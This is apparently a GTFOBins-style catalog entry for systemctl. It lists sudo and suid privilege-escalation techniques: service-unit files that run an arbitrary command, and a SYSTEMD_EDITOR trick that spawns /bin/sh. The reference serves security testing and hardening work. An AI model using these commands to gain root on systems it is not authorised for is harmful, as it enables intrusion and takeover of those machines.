Catalog GTFOBins

GTFO · Tool

systemctl

6 techniques Linux · macOSGTFOBins GPL-3.0

shell

ExecutionPrivilege Escalation LinuxmacOS

It might happen that the service is not started with `--now`, in such cases it might be necessary to manually start it.

echo '[Service]
Type=oneshot
ExecStart=/path/to/command
[Install]
WantedBy=multi-user.target' >/path/to/temp-file.service
systemctl link /path/to/temp-file.service
systemctl enable --now /path/to/temp-file.service
Context
sudo
Native
shell
MITRE
T1059

shell

ExecutionPrivilege Escalation LinuxmacOS

It might happen that the service is not started with `--now`, in such cases it might be necessary to manually start it.

echo '[Service]
Type=oneshot
ExecStart=/path/to/command
[Install]
WantedBy=multi-user.target' >/path/to/temp-file.service
systemctl link /path/to/temp-file.service
systemctl enable --now /path/to/temp-file.service
Context
suid
Native
shell
MITRE
T1059

shell

ExecutionPrivilege Escalation LinuxmacOS
echo /bin/sh >/path/to/temp-file
chmod +x /path/to/temp-file
SYSTEMD_EDITOR=/path/to/temp-file systemctl edit basic.target
Context
sudo
Native
shell
MITRE
T1059